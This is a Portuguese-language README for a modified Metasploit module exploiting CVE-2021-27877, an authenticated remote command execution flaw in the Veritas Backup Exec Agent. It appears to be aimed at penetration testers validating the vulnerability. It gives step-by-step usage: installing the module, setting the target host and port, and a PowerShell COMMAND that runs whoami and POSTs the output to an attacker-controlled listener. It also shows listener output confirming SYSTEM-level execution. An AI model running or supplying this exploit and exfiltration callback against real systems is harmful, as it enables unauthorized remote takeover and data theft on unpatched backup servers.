
Uma versão modificada do módulo Metasploit da Rapid7 para o CVE-2021-27877 que suporta execução direta de comandos para validação confiável de vulnerabilidades. Inclui documentação explicando o fluxo de trabalho do exploit, as modificações do módulo e exemplos de uso.
Este repositório contém uma versão modificada do módulo original do Rapid7 Metasploit para o CVE-2021-27877 que afeta o Agente do Veritas Backup Exec.
Durante meus testes, o módulo original do Metasploit identificou com sucesso o alvo como vulnerável, mas falhou consistentemente ao estabelecer uma sessão porque a etapa de entrega do payload não foi bem-sucedida. No entanto, a análise do módulo mostrou que a autenticação e a funcionalidade subjacente de execução de comandos estavam funcionando corretamente.
Para simplificar a validação da vulnerabilidade, modifiquei o módulo para executar comandos do sistema operacional fornecidos pelo usuário diretamente através da funcionalidade vulnerável de execução de comandos NDMP, em vez de carregar e executar um payload. Isso torna mais fácil confirmar a execução remota de código sem depender de um shell reverso ou de um estágio de payload.
Aviso: Esta prova de conceito é fornecida apenas para fins educacionais e testes de segurança autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita para avaliar.
Nota: Para proteger o ambiente usado durante os testes, todos os endereços IP neste repositório foram anonimizados. Ao longo dos exemplos,
192.168.x.xrepresenta o host alvo, enquanto192.168.y.yrepresenta o sistema atacante ou o ouvinte. Essas substituições não afetam a funcionalidade da prova de conceito.
Em comparação com o módulo original do Rapid7, as seguintes modificações foram feitas:
COMMANDCopie o módulo modificado para o diretório de módulos locais do Metasploit.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Inicie (ou reinicie) o Metasploit e recarregue os módulos locais:
msfconsole
reload_all
Antes de executar o módulo, inicie um ouvinte HTTP (ou qualquer servidor web capaz de receber e exibir requisições HTTP POST). Este ouvinte receberá a saída do comando executado no alvo.
Por exemplo, você pode usar um servidor HTTP Python simples com um manipulador de requisições personalizado, nc, ou qualquer ouvinte HTTP de sua escolha.
Carregue o módulo:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Configure as opções necessárias:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
A opção COMMAND aceita qualquer comando que você deseje executar no alvo.
Este módulo foi projetado para executar um único comando e não retorna a saída do comando automaticamente.
Para recuperar a saída, use um mecanismo de callback apropriado dentro do seu comando (por exemplo, uma requisição HTTP POST ou outro canal de saída) e monitore seu ouvinte.
Exemplo de saída do ouvinte:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system